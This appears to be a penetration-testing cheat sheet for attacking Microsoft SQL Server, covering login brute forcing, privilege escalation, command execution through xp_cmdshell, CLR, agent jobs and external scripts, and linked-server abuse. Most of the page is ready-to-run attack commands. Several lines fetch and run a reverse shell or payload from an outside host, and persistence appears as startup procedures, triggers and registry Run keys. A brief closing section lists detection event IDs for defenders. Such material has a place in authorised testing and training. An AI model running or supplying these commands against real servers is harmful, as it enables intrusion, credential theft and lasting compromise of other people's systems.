MSSQL

Tools

Gaining Access

Finding SQL Servers

PowerUpSQL
1
# UDP Scanning
2
Get-SQLInstanceScanUDP
3
4
# Local Instance
5
Get-SQLInstanceLocal
6
7
# Discovery (SPN Scanning):
8
Get-SQLInstanceDomain
9
10
# Check Accessibility:
11
Get-SQLConnectionTestThreaded
12
13
# Get available servers and test if current user can connect:
14
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
15
16
# Gather Information:
17
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
Copied!

Brute Forcing

Nishang
PowerUpSQL
1
$comp = (GetSQLInstanceDomain).computername
2
$comps | Invoke-BruteForce -UserList C:\dict\users.txt -PasswordList C:\dict\passwords.txt -Service SQL –Verbose
Copied!
1
# Password Spray
2
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded Username sa -Password Password -Verbose
3
4
# Using public role to fuzz logins, can then feed those to brute force
5
Get-SQLFuzzServerLogin -Instance ops-mssql –Verbose
Copied!

Enumeration

Users / Roles

SQL
1
# Current User
2
SELECT SUSER_SNAME();
3
SELECT SYSTEM_USER;
4
SELECT IS_SRVROLEMEMBER('sysadmin');
5
6
# Current Role
7
SELECT user;
8
9
# Show all logins on a server
10
SELECT * FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE';
11
12
# Show all database users for a database
13
SELECT * FROM sys.database_principals WHERE type_desc != 'DATABASE_ROLE';
14
15
# List all sysadmins
16
SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1;
17
18
# List all database roles
19
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;
20
21
# Effective permissions for the server
22
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
23
24
# Effective permissions for the database
25
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
26
27
# Active user token
28
SELECT * FROM sys.user_token;
29
30
Active login token
31
SELECT * FROM sys.login_token;
Copied!

Databases

SQL
1
# Version
2
SELECT @@version;
3
4
# Current Database
5
SELECT db_name();
6
7
# List all databases
8
SELECT name FROM master..sysdatabases;
Copied!

Tables

SQL
1
# List tables of a database
2
SELECT name FROM <dbname>..sysobjects WHERE xtype = 'U';SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='<dbname>';
3
4
# Alternative to list tables
5
SELECT name FROM <dbname>..sysobjects WHERE xtype = ‘U’;
6
7
# Use DB
8
Use <dbname>;
9
10
# List table contents
11
Select * from <tablename>;
Copied!

Sensitive Data

PowerUpSQL
1
# Look for interesting DB on name
2
Get-SQLDatabaseThreaded -Threads 10 -Username sa Password [email protected] -Instance ops-sqlsrvprod -verbose | select -ExpandProperty DatabaseName
3
4
# Look for interesting DB that are encrypted (decrypted automatically for sa)
5
Get-SQLDatabaseThreaded -Threads 10 -Username sa Password [email protected] -Instance ops-sqlsrvprod | WhereObject {$_.is_encrypted -eq “True"}
6
7
# Locating interesting data
8
Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password [email protected] -Instance ops-sqlsrvprod -Verbose
Copied!

Privilege Escalation

Impersonation

SQL
PowerUpSQL
1
# Find roles that you can impersonate
2
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
3
4
# Impersonate a user
5
EXECUTE AS LOGIN = 'dbadmin'
6
7
# Check privs of user
8
SELECT SYSTEM_USER
9
SELECT IS_SRVROLEMEMBER('sysadmin')
10
11
# Revert
12
SELECT ORIGINAL_LOGIN()
Copied!
1
# Find users you can impersonate
2
Invoke-SQLAuditPrivImpersonateLogin -Username sqluser Password [email protected] -Instance ops-mssql -Verbose
3
4
# Exploit
5
Invoke-SQLAuditPrivImpersonateLogin -Instance ops-sqlsrvone.offensiveps.com –Exploit -Verbose
Copied!

Trustworthy Database

SQL
PowerUpSQL
1
# Find trustworthy databases
2
SELECT name as database_name , SUSER_NAME(owner_sid) AS database_owner , is_trustworthy_on AS TRUSTWORTHY from sys.databases;
3
4
# Look for db_owner role within a database
5
USE <database>;
6
SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserName FROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R' ORDER BY DP1.name;
7
8
# Impersonate DB_owner
9
EXECUTE AS USER = 'dbo';
10
SELECT system_user;
11
12
# Abuse privs of trustworthy db to add our user as a sysadmin
13
EXEC sp_addsrvrolemember 'opsdc\labuser','sysadmin';
14
Copied!
1
# Find trustworthy database
2
Invoke-SQLAuditPrivTrustworthy -Instance ops-sqlsrvone Verbose
Copied!

UNC Path Injection

PowerUpSQL
1
# Automate this with Inveigh as a capture server
2
Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.15.2
Copied!

Juicy-Potato

1
# Listener
2
powercat -l -v -p 443
3
4
# Get command execution
5
Get-SQLServerLinkCrawl -Instance INSTANCE -Query "EXEC master..xp_cmdshell 'powershell.exe iex (iwr http://192.168.50.51/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.50.51 -Port 443'"
6
7
# Grab Juicy potato
8
wget http://192.168.50.51/juicy-potato-master/JuicyPotato/JuicyPotato.exe -UseBasicParsing -Outfile juicypotato.exe
9
10
# own
11
./juicypotato.exe -t * -p c:\Windows\System32\cmd.exe -a "/c net localgroup Administrators DOMAIN\USER /add" -l 8000
Copied!

Command Execution

Xp_cmdshell

SQL
PowerUpSQL
1
# Install xp_cmdshell
2
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
3
4
# Enable xp_cmdshell
5
EXEC sp_configure 'show advanced options',1
6
RECONFIGURE
7
EXEC sp_configure 'xp_cmdshell',1
8
RECONFIGURE
9
10
# Use xp_cmdshell
11
EXEC master..xp_cmdshell 'whoami'
Copied!
1
Invoke-SQLOSCmd -Username sa -Password Password1 -Instance ops-mssql.offensiveps.com –Command whoami
Copied!

Extended Stored Procedures

PowerUpSQL
SQL
1
# Create the DLL to add to the SQL db
2
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calc
3
4
# Register the dll from our system
5
Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"
6
7
# Execute the stored procedure
8
Get-SQLQuery -UserName sa -Password Password1 –Instance opssqlsrvone –Query "EXEC xp_calc"
9
10
# List extended stored procedures
11
Get-SQLStoredProcedureXP -Instance ops-sqlsrvone -Verbose
12
Copied!
1
# Register the stored procedure (dll name and function name must match exactly)
2
sp_addextendedproc 'xp_calc', 'C:\mydll\xp_calc.dll'
3
4
# Execute the stored procedure
5
EXEC xp_calc
6
7
# Drop the stored procedure
8
sp_dropextendedproc 'xp_calc'
9
10
# Code sample for dll:
11
https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/xp_evil_template.cpp
Copied!

CLR Assemblies

Blog: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
PowerUpSQL
SQL
1
# Enable CLR using manual SQL
2
use msdb
3
GO
4
sp_configure 'show advanced options',1
5
RECONFIGURE
6
GO
7
sp_configure 'clr enabled',1
8
RECONFIGURE
9
GO
10
11
# Create the DLL for CLR
12
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop
13
14
# Execute commands through CLR
15
Invoke-SQLOSCmdCLR -Username sa -Password Password1 -Instance ops-sqlsrvone –Command "whoami" -Verbose
16
17
# List all DLLs added through CLR
18
Get-SQLStoredProcedureCLR -Instance ops-sqlsrvone Verbose
Copied!
1
# Enable CLR using manual SQL
2
use msdb
3
GO
4
sp_configure 'show advanced options',1
5
RECONFIGURE
6
GO
7
sp_configure 'clr enabled',1
8
RECONFIGURE
9
GO
10
11
# Create the DLL for CLR
12
Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop
13
14
# Import the assembly file
15
CREATE ASSEMBLY my_assembly
16
FROM '\\192.168.15.2\fileserver\cmd_exec.dll'
17
WITH PERMISSION_SET = UNSAFE;
18
GO
19
20
# Import the assembly as a hexadecimal string of a CLR DLL
21
CREATE ASSEMBLY [NMfsa] AUTHORIZATION [dbo] FROM 0x4D5A90……
22
23
# Link the assembly to a stored procedure
24
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
25
GO
26
27
# Execute commands
28
cmd_exec 'whoami'
29
30
# Cleanup
31
DROP PROCEDURE cmd_exec
32
DROP ASSEMBLY my_assembly
Copied!

OLE Automation Procedures

PowerUpSQL
SQL
1
# Automated enabling, executing and reading
2
Invoke-SQLOSCmdCLR -Username sa -Password Password1 Instance ops-sqlsrvone –Command "whoami" –Verbose
Copied!
1
# Enable OLE automation procedures
2
sp_configure 'show advanced options', 1;
3
GO
4
RECONFIGURE;
5
GO
6
sp_configure 'Ole Automation Procedures', 1;
7
GO
8
RECONFIGURE;
9
GO
10
11
# Execute Command
12
DECLARE @output INT
13
DECLARE @ProgramToRun VARCHAR(255)
14
SET @ProgramToRun = 'Run("calc.exe")'
15
EXEC sp_oacreate 'wScript.Shell', @output out
16
EXEC sp_oamethod @output, @ProgramToRun
17
EXEC sp_oadestroy @output
18
19
# Output has to be written to a file then read
Copied!

Agent Jobs

PowerUpSQL
SQL
1
# List all jobs
2
Get-SQLAgentJob -Instance ops-sqlsrvone -username sa -Password [email protected] -Verbose
3
4
# Execute commands
5
Invoke-SQLOSCmdAgentJob –Subsystem PowerShell -Username sa -Password Password1 -Instance ops-sqlsrvone –Command "powershell –e <base64encodedscript>" -Verbose
6
–Subsystem CmdExec
7
–Subsystem VBScript
8
–Subsystem Jscript
Copied!
1
# List all jobs
2
SELECT job.job_id, notify_level_email, name, enabled, description, step_name, command, server, database_name FROM msdb.dbo.sysjobs job INNER JOIN msdb.dbo.sysjobsteps steps ON job.job_id = steps.job_id
3
4
# Powershell Agent
5
USE msdb;
6
EXEC dbo.sp_add_job @job_name = N'PSJob';
7
EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5;
8
EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
9
EXEC dbo.sp_start_job N'PSJob'
10
## Cleanup
11
EXEC dbo.sp_delete_job @job_name = N'PSJob'
12
13
# CMD agent
14
USE msdb;
15
EXEC dbo.sp_add_job @job_name = N'cmdjob';
16
EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5;
17
EXEC dbo.sp_add_jobserver @job_name = N'cmdjob';
18
EXEC dbo.sp_start_job N'cmdjob';
19
## Cleanup
20
EXEC dbo.sp_delete_job @job_name = N'cmdJob'
Copied!

External Scripts

PowerUpSQL
SQL
1
# Execute R
2
Invoke-SQLOSCmdR -Username sa -Password Password1 -Instance ops-sqlprod –Command "powershell –e <base64encodedscript>" –Verbose
3
4
# Execute python
5
Invoke-SQLOSCmdPython -Username sa -Password Password1 -Instance ops-sqlprod –Command "powershell –e <base64encodedscript>" -Verbose
Copied!
1
# Enable external scripts
2
sp_configure 'external scripts enabled'
3
GO
4
5
# Execute R script
6
EXEC sp_execute_external_script @language=N'R', @script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))' WITH RESULT SETS (([cmd_out] text));
7
GO
8
9
# Grab NTLM hash with R
10
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0 mgh4x")'
11
12
# Use Shell instead of system
13
@script=N'OutputDataSet <data.frame(shell("dir",intern=T))'
14
15
# Execute Python
16
EXEC sp_execute_external_script @language =N'Python', @script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' WITH RESULT SETS (([cmd_out] nvarchar(max)))
Copied!

Database Link Abuse

PowerUpSQL
Manual SQL
1
# Look for links to remote servers
2
Get-SQLServerLink -Instance INSTANCE -Verbose
3
4
# Enumerating nested database links
5
Get-SQLServerLinkCrawl -Instance INSTANCE -Verbose
Copied!
1
# Look for first link
2
select * from master..sysservers
3
4
# look for second link
5
select * from openquery("<linked-db>",'select * from master..sysservers')
6
7
# Enumerating nested database links
8
select * from openquery("INSTANCE1",'select * from openquery("INSTANCE2",''select * from master..sysservers'')')
Copied!

Enabling xp_cmdshell if rpcout is enabled (disabled by default)

SQL
1
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "INSTANCE"
Copied!

Executing Commands

PowerUpSQL
SQL
1
# Executes command over link
2
Get-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'whoami'"
3
4
# shell
5
Get-SQLServerLinkCrawl -Instance INSTANCE -Query "exec master..xp_cmdshell 'powershell.exe iex (iwr http://192.168.50.51/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.50.51 -Port 443'"
Copied!
1
# Execute calc (note that ' double every link) (not - use full fqdn)
2
select * from openquery("ops-mssql",'select * from openquery("ops-file",''select * from openquery("dpssqlsrvtwo",''''select @@version as version;exec master..xp_cmdshell "cmd /c calc.exe"'''')'')')
3
4
# Enumerate Info
5
select * from openquery("UFC-DB1",'select * from openquery("UFC-DBPROD",''select * from openquery("AC-DBREPORT.amazecorp.local",''''select * from master..sysservers;'''')'')')
6
7
# Use database over links
8
select * from openquery("UFC-DB1",'select * from openquery("UFC-DBPROD",''select * from openquery("AC-DBREPORT.amazecorp.local",''''EXEC (''''''''USE msdb; SELECT db_name()'''''''')'''')'')')
Copied!
When the link is setup, its set with an account. This could be SA or it could be a user account. You can find out what that account is by enumerating the link. Whatever account the command is running as on the link, is the account used to set it up.
Compromise DB-Server1, its linked to DB-Server2 with the SA of DB-Server2. Can use powershell to get the cleartext cred of SA for DB-Server2. Can then use HeidiSQL or similar to log into the DB-Server2 as SA, can then install cmd execution without dealing with RPCOUT (which prevents this occuring over the link).
Powershell-Modules/Get-MSSQLLinkPasswords.psm1 at master · NetSPI/Powershell-Modules
GitHub
1
Import-module .\Get-MSSQLLinkPasswords.psm1
2
Get-MSSQLLinkPasswords
Copied!

Persistance

Startup Stored procedures

SQL
1
# Enable xp_cmdshell (shown above)
2
3
# Go into master db
4
USE master
5
GO
6
7
# Create stored procedure
8
CREATE PROCEDURE sp_autops
9
AS
10
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/ payload.ps1'')"'
11
GO
12
13
# Mark the stored procedure for automatic execution when SQL server restarts
14
EXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';
15
16
# List stored procedures marked for automatic execution
17
SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;
Copied!

Triggers

SQL
1
# List all triggers
2
SELECT * FROM sys.server_triggers
3
4
# List all triggers for a DB
5
USE testdb
6
SELECT * FROM sys.server_triggers
7
8
# DDL trigger (executes on create,alter and drop statements and some sp)
9
CREATE Trigger [persistence_ddl_1]
10
ON ALL <SERVER/DATABASE>
11
FOR DDL_LOGIN_EVENTS
12
AS
13
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
14
GO
15
16
# DML trigger (executes on insert, update and delete statements)
17
USE master
18
GRANT IMPERSONATE ON LOGIN::sa to [Public];
19
USE testdb
20
CREATE TRIGGER [persistence_dml_1]
21
ON testdb.dbo.datatable FOR INSERT, UPDATE, DELETE AS
22
EXECUTE AS LOGIN = 'sa'
23
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
24
GO
25
26
# Logon triggers (executes on a user login)
27
CREATE Trigger [persistence_logon_1]
28
ON ALL SERVER WITH EXECUTE AS 'sa'
29
FOR LOGON
30
AS
31
BEGIN
32
IF ORIGINAL_LOGIN() = 'testuser'
33
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'
34
END;
Copied!

Registry

PowerUpSQL
SQL
1
# Use xp_regwrite to execute a shell
2
Get-SQLPersistRegDebugger -Instance ops-sqlsrvone -username sa -Password Password1 -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Verbose
3
4
# Use xp_regwrite to persist
5
Get-SQLPersistRegRun -Instance ops-sqlsrvone -username sa -Password Password1 -Name SQLUpdate -Command 'powershell –w 1 – NoP –NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")' -Verbose
6
7
# Use xp_regread as sysadmin to read autologon passwords from registry
8
Get-SQLRecoverPwAutoLogon -Instance ops-sqlsrvone -username sa -Password Password1 -Verbose
9
Copied!
1
# Using xp_regwrite
2
EXEC xp_regwrite
3
@rootkey = 'HKEY_LOCAL_MACHINE',
4
@key = 'Software\Microsoft\Windows\CurrentVersion\Run',
5
@value_name = 'SQLServerUpdate',
6
@type = 'REG_SZ',
7
@value = 'powershell –w 1 –NoP –NoL iex(NewObject Net.WebClient).DownloadString("http://webserver/evil.ps1 ")';
8
9
# Using xp_regread
10
DECLARE @Reg_Value VARCHAR(1000)
11
EXECUTE xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion', ‘ProductName', @Reg_Value OUTPUT
12
SELECT @Reg_Value;
Copied!

Dumping Hashes

PowerUpSQL
1
Get-SQLServerPasswordHash -instance INSTANCE -Verbose
Copied!

Defence

Good Practice

    Audit SQL Servers to check the flow of links, trusts, privileges and credentials.
    Ensure that Service Accounts for databases are not high privilege domain account.
    Make sure that known dangerous Stored Procedures are disabled.
    Use SQL Server Audit to log interesting server level and database level events.
    Log and Audit.
    Monitor the logs.

General Logs

    SQL Server Error Log is the place to look for interesting SQL Server logs. By default, the error log is located at %ProgramFiles%\Microsoft SQL Server\MSSQL.1MSSQL\LOG\ERRORLOG
    Logs can be viewed in Management Studio by browsing to Management -> SQL Server Logs
    Logs are also written to Windows Application logs with MSSQLSERVER as source.

Brute Force Logs

    General best practices like having a good password policy and not using same username across databases.
    SQL server Logon failures are logged by default in the Windows application log with source MSSQLSERVER.
    Look for Event ID 18456. The log message also details the type of brute force - "Password did not match for the login provided" vs "Could not find a login matching the name provided."

Other Event IDs

    Event ID 5084 also reports for setting TRUSTWORTHY to on/off.
    Event ID 17135 logs launch of startup stored procedures.
    Event ID 33090 for successful and 17750 for failed loading of DLLs.
    Recall that all command execution techniques we used needed the use of sp_configure.
    Using sp_configure leaves Event ID 15457 in the Windows Application log with the configuration changed (argument passed to sp_configure).
    This can be used as a very good indicator of command execution.
    Make sure that an alert is generated only on the argument of sp_configure to avoid false positives.
Last modified 1yr ago